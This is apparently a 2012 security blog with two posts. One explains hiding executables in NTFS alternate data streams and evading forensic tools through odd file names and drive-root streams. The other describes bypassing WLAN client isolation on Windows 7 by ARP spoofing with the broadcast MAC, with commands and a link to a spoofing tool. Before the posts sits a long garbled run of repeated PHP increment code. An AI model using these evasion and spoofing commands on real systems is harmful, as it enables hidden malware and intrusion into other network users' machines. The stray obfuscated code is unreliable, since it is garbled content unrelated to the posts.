_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;echo $_(12);





Saturday, November 17, 2012

Hidden Alternative Data Streams

Bypassing Alternative Data Streams detection tools.


Before we can start playing around I should explain what a Alternative Data Stream or ADS is and how to create them.

A real definition can be found on wikipedia: wiki. I would describe it as a file which gets appended to a already existing file. One effect of ADS files is, that there are not listed in explorer.

Getting Started

Lets start creating a simple ADS. The following cmd command appends calc.exe to file.txt with the name hidden.exe. If file.txt doesn't exist it will be created:

C:\users\asdf\> type C:\windows\write.exe > file.txt:hidden.exe


  • C:\users\asdf\ is the current working directory
  • type outputs the content of a file
  • > pipes the output into a file
  • file.txt is the file where the ads gets appended
  • : defines the starting of the ads
  • hidden.exe is the name of our ads

To start the hidden.exe we use the wmic call

C:\users\asdf\>wmic process call create C:\users\asdf\file.txt:hidden.exe

With dir /r we can list ads

C:\users\asdf\>dir /r
17.11.2012 16:55 0 file.txt
10.240 file.txt:hidden.exe:$DATA


To list ADS a lot of tools exist, like streams from Sysinternals or dir /r (Windows 7).
But the only good tool is tsk-xview.exe made by Michael Hale Ligh Autor of the Malware Analyst Cookbook (its XP only). Here is a short introduction of the tool link

Stealth ADS or fooling the api

To bypass ADS detection tools which rely on the windows api, you have to use obscure file names. There a some tricks to make windows go crazy, I will show you two tricks:

1. Using … as a name

The first trick is to use … as the name for the file which resides on the disk. The ads appened to it, won't be visible by dir /r or any other tool, which uses the windows api. Additionally you won't be able to delete this file :)

C:\users\asdf\> type C:\windows\write.exe > ...:hidden.exe

Now lets do a dir /r

C:\users\asdf\>dir /r
17.11.2012 17:24 <DIR> .
17.11.2012 17:24 <DIR> ..
17.11.2012 17:24 0 ...
17.11.2012 16:55 0 file.txt

No ADS listed. To proof its there, just start the ads as usual:

C:\users\asdf\>wmic process call create C:\users\asdf\...:hidden.exe

Have fun trying to delete the file :P


2. Using a reserved name like COM1

To create files with reserved names like nul or COM1 we have to use UNC path. Instead of C:\ you can write \\.\C:\. The modified command will look like this

C:\users\asdf\> type C:\windows\write.exe > \\.\C:\users\asdf\COM1:hidden.exe


But all this tricks won't work against the tsk-xview.exe (which only works on Windows XP... ). It reads the file system on low-level, without using the windows api so strange file names are no obstacle.
So how to bypass that, with only one command in cmd?

The forgotten location

I almost gave up defeating this forensic tool, but then I rememberd that there is a special location for ADS. ADS can not only be appended to files on the disk, it is also possible to append them to the drive itself. We just append an ads directly to C:\ and the forensic tool won't find it. So here is the magic command

C:\users\asdf\> type C:\windows\write.exe >C:\:hidden.exe

It is simple like that.

That was my short summary about stealth ads.


Tuesday, October 16, 2012

wlan client isolation bypass in WPA/WPA2 network against Windows 7



Wlan Client Isolation Bypass in WPA/WPA2 Network against Windows 7

or Windows 7 TCP broadcast feature



THIS IS NOT HOLE 196, IN THE END I WILL TALK ABOUT THE DIFFERENCES.


Before I can talk about my bypass you have to know some facts. First of all, after you connect to a WPA/WPA2 network two keys are created:
  • A unique key for your unicast traffic
  • A shared key for broadcast traffic. This key is the same for every pc connected to this wlan station (its called GTK)

So if you send unicast traffic, nobody can sniff it. To make it possible to connect directly to other wlan clients, the wlan gateway decrypts your packet and encrypts it with the unique key of the other client.
But when you send broadcast traffic you don't need the gateway to translate the packet, because the broadcast key (GTK) is for every connected client the same.

Client Isolation

To keep it simple, the client isolation feature just stops the transmitting of unicast traffic of connected wlan client to another wlan client. Basically we are not able to send any unicast traffic to them anymore.

The idea

We have to get the system to use the group key to reach other clients, so broadcast (for being correct, the broadcast mac ff:ff:ff:ff:ff:ff) is needed.

Lets take this scenario:

My ip: 10.0.0.1
victim: 10.0.0.2
Gateway:10.0.0.254

To begin with we have to force the OS to use the broadcast key. This is done by making a static arp entry which maps the victims ip 10.0.0.2 with the mac ff:ff:ff:ff:ff:ff:

arp -s 10.0.0.2 ff-ff-ff-ff-ff-ff-ff

When you now type ping 10.0.0.2 the os will use ff:ff:ff:ff:ff:ff as the destination mac and will use the broadcast key. First way done

The way back

Now the victim won't be able to send a packet back, because he will send unicast packets, encrypted with his unique key. This is where arp spoofing helps out, but arp spoofing per response won't work. As you maybe know, a arp response wouldn't be possible because it's a unicast traffic, so lets spoof via arp request which uses the broadcast mac as the destination mac.
Now the arp cache of the victim maps my ip 10.0.0.1 to the mac ff-ff-ff-ff-ff-ff

This will force the victim os to use the broadcast key and we will receive a answer... or do we?

The problem:

To start with: Linux and Windows XP (Vista not tested) make a certain check when receiving a packet. If the destination mac is ff:ff:ff:ff:ff:ff and the layer 4 protocol has no broadcast, they will drop the packet.
Basically we can reach Linux and Windows XP with protocols like udp and icmp (so you will be able to ping them) but they drop tcp packets, which makes sense. In udp and icmp its possible that the destination mac is ff:ff:ff:ff:ff:ff but not in TCP, no way. But I wanted to use TCP, tcp is the best :D

Now a new feature (bug) in windows 7 helps us. Windows 7 doesn't make the same check as linux or xp, as long as the destination ip matches one of the interfaces on the windows 7, it will ignore the fact that the destination mac is ff:ff:ff:ff:ff:ff. This is really nice Micrsoft =)

Putting alltogether:

Now you are able to reach the victim Windows 7 machine via tcp. The nice thing is you can even use standard tools, like nmap but there are some limitation, but first the 3 small steps:

  1. make a static arp entry to map the victims ip to the broadcast mac
  2. spoof the victim via arp request (I created a tool to send the arp request, didn't find one for windows)
  3. type: nmap -sT <victim ip>

Things to consider:

  1. You can use linux to attack a windows 7 machine, but standard tools won't work, because you have to sniff the response. The linux kernel will just drop the packet.
  2. You can use standard tools like nmap as long they don't use raw sockets. As an example nmap -sS won't work (-sS needs raw sockets), because it won't look up the destination mac in the arp table instead it will use a arp request (and there won't be a response because of the client isolation). Maybe I find a way around that. I had no time to test the behaviour of metasploit

Difference to Hole 196

If you don't know what hole 196 is, in google you will find it easy.
I will talk about the difference to my attack in the aim of bypassing the client isolation feature:

First of all I have to admit, with hole 196 you are able to attack all machines, not just windows7 machines. To use hole 196 you have to modify your wifi driver, so I assume the attacking machine is a linux machine. This forces another modification. Like I already pointed out, the linux kernel will drop the tcp response packets, because the victim still has to use the destination mac ff:ff:ff:ff:ff:ff to bypass the client isolation feature. You will have to modifiy the linux tcp ip stack too. This seemed to much work for me :D


My arp response spoofing tool (source code included)

https://drive.google.com/open?id=1yunqdL73FHQP2gPvuNMhmQF_I-_zMAfz
/* if you know a good file hoster, please tell me */

usage: tool.exe <your mac> <your ip> <victim ip>

You have to install winpcap 4.1.2 (winpcap team you're awesome)

and don't forget the static arp entry via arp -s <victim ip> ff:ff:ff:ff:ff:ff